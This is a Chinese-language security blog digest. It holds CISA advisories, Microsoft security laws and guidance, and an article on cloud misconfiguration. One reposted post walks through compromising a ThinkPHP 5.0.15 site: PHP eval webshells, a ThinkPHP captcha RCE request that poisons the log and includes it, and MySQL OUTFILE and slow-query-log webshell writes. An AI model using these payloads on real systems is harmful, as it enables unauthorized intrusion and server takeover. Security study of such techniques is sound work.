美國海軍發佈資訊戰的三個指導原則
美國海軍發佈資訊戰的三個指導原則，這三個指導原則包含：
- 安全
- 生存
- 打擊
主要指導美國海軍在資訊戰的主導地位與如何實現持續地在資訊戰中的行動，確保系統的安全，基礎設施與武戲系統的可用性(生存)，並且任何時間與地點都可以打擊敵人。
詳請請參考：
微軟： 10條安全管理法則V2
微軟： 10條安全管理法則V2
法則 1：如果一個壞人可以說服你在你的電腦上運行他的程式，那麼它不再只是你的電腦了。
法則 2：如果壞人可以更改您電腦上的操作系統，那麼它就不再是您的電腦了。
法則 3：如果壞人可以不受限制地物理訪問您的電腦，那麼它就不再是您的電腦了。
法則 4：如果你允許壞人在你的網站上運行程式，它就不再是你的網站了。
法則 5：弱密碼勝過強大的安全性。
法則 6：只有管理員值得信賴，計算機才是安全的。
法則 7：加密數據的安全等級跟他的解密密鑰一樣。
法則 8：過時的反惡意軟件掃描程序只比沒有掃描程序好一點。
法則 9：絕對匿名實際上是不可能實現的，無論是在線還是離線。
法則 10：技術不是靈丹妙藥。
詳請請看：
CISA新增了一個弱點漏洞到已知被利用的弱點漏洞清單，應盡快修補此弱點漏洞：
CVE-2022-3723：Google Chromium V8 contains a type confusion vulnerability. Specific impacts from exploitation are not available at this time.
詳情請看：
CISA發布了4個工業控制系統的安全公告，包含安全議題，漏洞與曝露的風險：
• ICSA-22-300-01 Rockwell Automation FactoryTalk Alarm and Events Server
• ICSA-22-300-02 SAUTER Controls moduWeb
• ICSA-22-300-03 Rockwell Automation Stratix Devices Containing Cisco IOS
• ICSA-22-300-04 Trihedral VTScada
詳請請看：
Microsoft發佈數位防禦報告
Microsoft發佈數位防禦報告，從六個面向來說明，現今資訊安全的威脅與防護重點，包含了：
- 網路犯罪現況
- 國家威脅
- 供應鏈、IOT及OT安全性
- 混合性工作團隊的安全性
- 假資訊
- 可付諸行動的見解
結論提出了一幾個建議：
- 打好基礎
- 全面觀點
- 任何元素都可以用為攻擊媒介
- 考慮人
- 零信任是一種架構主體
詳請情參考：
微軟： 10條安全管理法則
Read More
- 法則 1：沒有人相信任何不好的事情都會發生在他們身上，除非它確實發生了
- 法則 2：安全只有在安全的方式也恰好是簡單的方式時才有效
- 法則 3：如果您不跟上安全修復的步伐，您的網絡將不會長期屬於您
- 法則 4：在一開始就沒有安全措施的計算機上安裝安全補丁並沒有多大用處
- 法則 5：永遠的警惕是安全的代價
- 法則 6：確實有人試圖猜測你的密碼
- 法則 7：最安全的網絡是管理良好的網絡
- 法則 8：保護網絡的難度與其複雜性成正比
- 法則 9：安全與規避風險無關； 這是關於風險管理
- 法則10：技術不是靈丹妙藥
詳請請參考：
CISA發布了8個工業控制系統的安全公告，包含安全議題，漏洞與曝露的風險：
• ICSMA-22-298-01 AliveCor KardiaMobile
• ICSA-22-298-01 Haas Controller
• ICSA-22-298-02 HEIDENHAIN Controller TNC
• ICSA-22-298-03 Siemens Siveillance Video Mobile Server
• ICSA-22-298-04 Hitachi Energy MicroSCADA X DMS600
• ICSA-22-298-05 Johnson Controls CKS CEVAS
• ICSA-22-298-06 Delta Electronics DIAEnergie
• ICSA-22-298-07 Delta Electronics InfraSuite Device Master
詳請請看：
記一次TP框架的公益SRC挖掘
昨天的用的Druid洩露的session進後臺拿shell還是覺得不太過癮，也沒學到啥新的知識。於是乎今天又找了幾個新的網站來試試，哈哈哈哈哈哈。
這次操作純屬菜雞練手，哪些地方可以改進還希望大佬們指出一下
目標網站：tp5.0.15+php7
1 · 網站後臺並發現是tp框架
首先找到的是網站後臺，但是有驗證碼。
掃目錄的時候沒有 404.html，說明網站沒有設置統一的報錯頁面，那麼應該就可以人為製造報錯來查看框架。
果然是熟悉的tp框架，直接祭上神器碰碰運氣，看能不能碰到tp版本的漏洞
工具顯示存在多個漏洞，其中有部分屬於誤報。
2 · 嘗試獲得shell
嘗試使用工具自帶的寫馬功能，但是實際操作之後發現無法連接。下載檔案查看後發現“>” 和“<” 變成了html中的實體字元。
學過一些java，本來準備查看工具的源碼，看看是自帶的馬的問題還是傳輸到伺服器之後被轉義了。但是github上的源碼檔是空的。
工具自帶的木馬：
<?php @eval($_POST['showshell'])?>
嘗試使用工具爆出的資料庫帳號密碼加上 --os-shell 寫入shell
sqlmap -d
mysql://name:passwd@ip:port/dbs_name
最後以失敗告終。。。。。
常規使用--os-shell的前提有三個：
（1）網站必須是root許可權
直接連接資料庫查看能不能找到管理員的帳號和密碼
找到一個像是主機的帳號、密碼表。
拿到了pe_admin表中的內容後，嘗試通過ssh連接伺服器。但是發現這台伺服器並沒有ssh埠，這就很疑惑了
nmap -sV -n ip
感覺自己有點傻，為什麼不直接去網站的資料庫找網站的後臺登陸帳號密碼呢。
最後成功進入後臺管理系統，不過這後臺功能有點少啊，根本找不到上傳點。看來還得想別的辦法。
3 · 從TP框架入手
看來只能轉換一下思路，從tp框架入手了。
這裡直接 phpinfo 看一下
disable_functions()禁用了哪些函數。phpinfo的成功執行也證明是有RCE漏洞的
在嘗試了幾種方法之後發現無果，而且由於 php版本為 7.3 導致無法使用 assert 來執行命令。
自己不會沒關係，網上肯定有人會。這裡開始去網上搜各個大佬的方法。最終經過各種嘗試，把希望寄在了將馬寫在日誌或者session裡
寫入shell檔到日誌中
/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php
eval($_POST['shell']); ?>
包含日誌檔getshell
/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202201/25.log&shell=phpinfo();
經測試，成功寫入shell，但是此時只有極小的許可權，並且由於
disable_function 的原因，虛擬終端無法使用。
還有一種方法是可以使用載入遠端檔的方式去包含真正的shell。孩子要是有一台伺服器就好了
4 · 通過MYSQL寫入shell
突然想起來手裡還有資料庫的帳號和密碼，可以嘗試使用mysql手動寫shell。
查看用戶及許可權
SELECT user,host FROM mysql.user;
網站的絕對路徑已經通過tp報錯頁和phpinfo拿到了
select '<?php @eval($_POST[showshell]);?>' into outfile
'D:\wwwroot\xxxxxxxx\public\index.php';
報錯是因為mysql配置的 --secure-file-priv
預設值為 null，而只有當其值非空的時候才才能使用 into oufile
寫入檔。
關於慢查詢：
當使用者操作的查詢語句超過系統的預設時間時，系統就會將此條語句紀錄到慢查詢日誌中。系統一般預設的時間是10秒
這裡我們使用慢查詢繞過
security-file-priv 寫入shell：
查詢 slow query log 狀態
SHOW VARIABLES like
'%slow_query_log%';
可以看到處於預設的關閉狀態。
啟用慢查詢：
set global
slow_query_log=1;
指定慢查詢的日誌檔路徑及檔案名，
SET GLOBAL
slow_query_log_file='
D:\wwwroot\xxxxx\public\index.php
';
寫入shell
select '<?php
eval($_GET[showshell])?>' or SLEEP(11);
成功寫入。
這裡遇到一個小問題，windows上的蟻劍和哥斯拉不知道為什麼連不上去。可能是我這邊的環境變數有問題，最後使用kali裡的蟻劍成功連接shell並獲得root許可權
最後也是一個權重為0的站交不了補天，順利提交兩個src到cnvd。雖然沒能提交到補天，不過也重在練手的過程吧。
原文網址：
微軟的 Be Cyber Smart Kit
今天收到微軟的 Be Cyber Smart Kit的mail通知，提供了一些資料，來提升組織的資訊安全成熟度。
Part 1：保護您的資料和網際網路連線裝置的 12 個秘訣：
- 質疑包含連結的郵件，尤其是要求個人資訊的郵件
- 防範包含附加檔案的郵件
- 僅即時分享個人資訊
- 採用無密碼，並使用驗證器應用 程式，以加強安全性
- 如果您必須使用密碼，請使用密碼管理員使其更強固且獨一無二
- 在所有行動裝置上啟用鎖定功能
- 立即安裝軟體更新
- 確保裝置上的所有應用程式都合法
- 使用 Windows 11 並開啟篡改防護功能來保護您的安全性設定
- 減少攻擊面
- 使用韌體掃描工具
- 請勿傳輸包含系統定義的檔案
Part2：防範網路釣魚的
7 種方法
- 檢查寄件者的電子郵件地址。是否一切良好？錯放字元或不尋常的拼寫可能表示這是假的。
- 注意使用一般問候語 (例如「親愛的顧客」) 要求您立即行動的電子郵件。
- 尋找可供確認的寄件者連絡資訊。如有疑問， 請勿回覆。改用新的電子郵件來回應。
- 絕不使用電子郵件傳送敏感資訊。如果必須傳達私人資訊， 請使用手機。
- 點按突來的連結前， 請三思而後行，尤其是當這些連結引導您登入您的帳戶時。 為了安全，請改從官 網登入。
- 避免開啟來自不明寄件者或通常不會傳送 附件的朋友的電子郵件附件。
- 為您的電子郵件應用程式安裝網路釣魚篩選器， 並在您的電子郵件帳戶上啟用垃圾郵件篩選。
Part3：技術支援詐騙的
5 個跡象
- 您收到一通聲稱是技術支援人士突來的 電話 (請小心！某些詐騙者有工具可以產生作假的來電顯示)。
- 您收到錯誤訊息，要求您緊急撥打某號碼。
- 您的技術支援連絡人要求您使用加密貨幣或禮物卡付費以修正您的「問題」。
- 您的支援技術人員要求您從電子郵件或協力廠商網站下載軟體。
- 技術支援人員要求您輸入密碼或其他私人、敏感性資料。
Part4：保護登入程序
- 建立強式密碼
- 保障密碼安全
- 徹底擺脫密碼
Part5：保護您的企業：
網路安全性基本知識
- 外部威脅
- 阻斷服務 (DoS)
- 分散式阻斷服務 (DDoS)
- 內部威脅
- 網路釣魚和魚叉式網路釣魚
- 語音釣魚
- 引誘
- 瀏覽器攻擊
其他還有一封內部資安提醒的email範例與五個資安小短片，完整的下載資料的連結：
CISA發布了本周的漏洞清單，其中包含了很多9.9，9.8的嚴重漏洞，包含了以下產品：
- 74cms -- 74cmsse
- acer -- altos_w2000h-w570h_f4_firmware
- adobe -- coldfusion
- apache -- dubbo
- best_student_result_management_system_project --best_student_result_management_system
- canteen_management_system_project -- canteen_management_system
- changingtec -- rava_certificate_validation_system
- dlink -- dir-878_firmware
- fortinet -- fortiswitchmanager
- fortinet -- fortitester
- get-simple -- getsimple_cms
- gitea -- gitea
- gitlab -- gitlab：9.9
- go-admin -- go-admin
- gxgroup -- gpon_ont_titanium_2122a_firmware
- huawei -- harmonyos
- ikus-soft -- rdiffweb
- jenkins -- groovy：9.9
- jenkins -- groovy_libraries：9.9
- jenkins -- script_security：9.9
- juniper -- junos
- keking -- kkfileview
- libtiff -- libtiff
- megazone -- reversewall-mds
- merchandise_online_store_project -- merchandise_online_store
- mikrotik -- routeros
- mvpower -- tv-7104he_firmware
- opencats -- opencats
- Oracle -- e-business_suite
- osgeo -- shapelib
- phpok -- phpok
- qualcomm -- apq8009_firmware
- sanitization_management_system_project -- sanitization_management_system
- shinken-monitoring -- shinken_monitoring
- synology -- diskstation_manager
- tableau -- tableau_server
- tenda -- 11n_firmware
- tenda -- ac10_firmware
- tenda -- ac18_firmware
- tenda -- tx3_firmware
- trumpf -- job_order_interface
- uglifyjs_project -- uglifyjs
- wisa -- smart_wing_cms
- wordpress -- wordpress
- x.org -- x_server
詳細請看：
八種常見的雲配置錯誤類型及緩解方案
雲配置錯誤（Cloud misconfiguration）指的是雲環境中可能會對有價值的資訊和資產構成風險的任何錯誤、故障或缺口。當組織沒有正確配置基於雲的系統時，就會發生這種情況，造成網路暴露、安全性漏洞、內部威脅或外部駭客攻擊。
這些雲配置錯誤會導致組織未加密或敏感的資料暴露在公共互聯網上，造成大規模的資料洩露和宕機情況，進而可能導致組織或政府實體面臨無可挽回的聲譽和財務損失。
本文將探討雲配置錯誤的影響、最常見的類型，以及可以採取的緩解措施，以最大限度地保護雲環境安全。
雲配置錯誤對系統安全的影響
雲環境中的錯誤配置可以使攻擊者未經授權地訪問系統功能和敏感性資料。例如，資料庫伺服器的錯誤配置可能使資料通過基本的web搜索訪問，這可能會導致重大的資料洩露。雲配置錯誤甚至可能導致系統安全的完全破壞和其他嚴重後果。雖然，特定配置錯誤的業務影響取決於錯誤配置的嚴重程度，但由此導致的資料洩露可能會使組織損失數百萬美元。
常見的雲配置錯誤類型
1. 過於寬鬆的存取控制
當啟用了太多的雲存取權限時，就會出現雲環境過於寬鬆的情況。這可能包括：
· 在雲主機上啟用遺留協定；
· 暴露面向外部的埠；
· 在缺乏適當控制措施的情況下暴露敏感的API；
· 啟用私有和公共資源之間的通信模式；
在配置應用程式時，對訪問控制項的過多許可權可能會為攻擊者提供在系統內部垂直或橫向移動的路徑，並增加暴露的攻擊面。
2. 存儲訪問配置錯誤
雲錯誤配置的另一個例子是將存儲資產暴露給外部參與者。很多時候，組織會混淆“認證”用戶和“授權”使用者，從而錯誤地授予“認證”用戶存取權限。這些經過身份驗證的“認證”用戶可以是任何具有有效憑證的用戶端或用戶，因為他們通過AWS進行了身份驗證，但卻並未得到您的組織或應用程式“授權”。一個簡單的例子是允許所有AWS使用者（而不是應用程式的所有授權使用者）訪問S3桶。
組織應該只在組織內部授予對存儲桶的存取權限。由於這種雲配置錯誤的結果，網路犯罪分子可能會訪問存儲，並在積極掃描AWS S3存儲桶和公共GitHub存儲庫時找到關鍵資訊，如API金鑰、密碼和其他憑證。因此，組織在設置存儲配置時應該格外謹慎，以確保雲存儲不被破壞或暴露。安全團隊也應該預設為存儲桶中的關鍵資料啟用增強式加密，監視所有標記為公共的存儲節點，並消除不必要的許可權。
3. 無限制的入站和出站埠
所有對互聯網開放的入站埠都存在潛在的安全風險。當遷移至多雲（multi-cloud）基礎設施時，安全團隊應該瞭解開放埠的全部範圍，並將它們限制在基本系統中，鎖定那些並非十分必要的系統。
當然，不僅入站埠會帶來安全問題，當系統受到威脅時，出站埠也會通過資料滲漏、橫向移動和內部網路掃描產生漏洞。通過各種模式（如RDP或SSH）從公共網路甚至從您的VPN之外的網路授予對伺服器的訪問權，是一種常見的雲錯誤配置，它會使您面臨資料洩露的風險。應用程式伺服器應該將出站流量限制為“只對基本應用程式和伺服器有效”。使用最小特權原則，並限制通過SSH對出站埠的訪問，因為應用程式伺服器很少需要通過SSH與網路中的其他遠端伺服器通信。
4. 無限制地訪問非HTTP/HTTPS埠
識別和檢查所有開放埠非常重要，因為系統操作依賴於這些潛在的、易受攻擊的開放埠。組織應該開啟那些絕對需要的埠，並遮罩那些並不必要的埠。如果這些埠配置不當，攻擊者就很容易利用或強行使用身份驗證。如果這些埠需要對互聯網開放，請確保通信是加密的，並且流量只限制在特定的位址。
5. 禁用或未配置監控和日誌記錄
即使是完善的組織有時也會缺乏嚴格且強大的監控和日誌記錄機制。對雲平臺上的活動進行日誌記錄和定期監控至關重要。
這些日誌可以用於:
· 識別可疑行為和安全盲點；
· 注意到員工未經授權的行為；
· 定期報告；
· 確認任何其他錯誤或配置錯誤；
但是，只有在為了採取適當的操作而持續監視日誌時，日誌才會發揮作用。因此，請確保您對每個可能導致安全性漏洞的活動都有足夠的日誌記錄和監控。此外，基於這些日誌實現自動化和有針對性的警報，以便在任何可疑活動導致破壞之前識別和處理它。
6. 系統的預設憑據
許多開發團隊會為身份驗證創建默認憑據，以簡化開發過程。例如，許多團隊對於雲實例、資料庫和其他服務都有一些預設憑據。這些默認憑據通常很容易被猜出和/或被太多人知道。因此，這些憑據或配置絕對不應該在生產環境中使用。
組織應該根據開發環境擁有不同的設定檔。實現一個防止默認憑據傳播到生產環境的過程是關鍵，審計每個版本以確保該過程正在有效運行也是關鍵。
7. 生產環境中的開發設置
另一個常見的配置錯誤是在生產環境中使用開發設置。在大多數情況下，適合於開發環境的設置和配置並不適合於生產環境，原因有很多。例如，允許從任何伺服器以任何速率傳入請求在開發中似乎並沒問題，但在生產環境中卻可能會導致重大問題。這還包括應用程式中的隱藏代碼。例如，在控制台中列印敏感的調試資訊可能很容易被忽略，但在生產環境中卻會導致嚴重的安全性漏洞。因此，在部署到生產環境之前，組織需要仔細檢查這些代碼設置並正確設置它們。
8. 不遵循協力廠商元件的“安全”配置
在整個開發過程中，我們會使用各種協力廠商庫、元件和應用程式。雖然在為各種元件選擇供應商時，進行全面的分析是至關重要的，但確保遵循協力廠商規定的最佳實踐和配置也同樣重要。
大多數軟體供應商——無論是商業的還是開源的——都將規定最佳實踐或推薦的安全實施標準，這些配置通常都已在其端進行過安全測試。正確地實現這些最佳實踐不僅可以降低安全性漏洞的風險，而且在漏洞確實發生的情況下也能增加這些供應商的責任。
結語
配置錯誤是雲環境中安全性漏洞的最常見原因之一。即使您在開發過程中遵循了所有的最佳實踐，一個簡單的配置錯誤——如果忽略了——也可能危及整個系統的安全性。雖然採取必要的預防措施來防止這種情況發生是至關重要的，但創建一個100%安全的系統是非常困難的。儘管如此，通過識別並消除本文所述的雲安全性漏洞，將有助於最大限度地降低安全風險。
與所有的網路風險一樣，雲安全工作應該圍繞優先處理和減輕與您業務最相關的威脅，將您的資源用於最需要的地方，並開展團隊合作，以有效降低真正的網路風險。
訂閱：
文章 (Atom)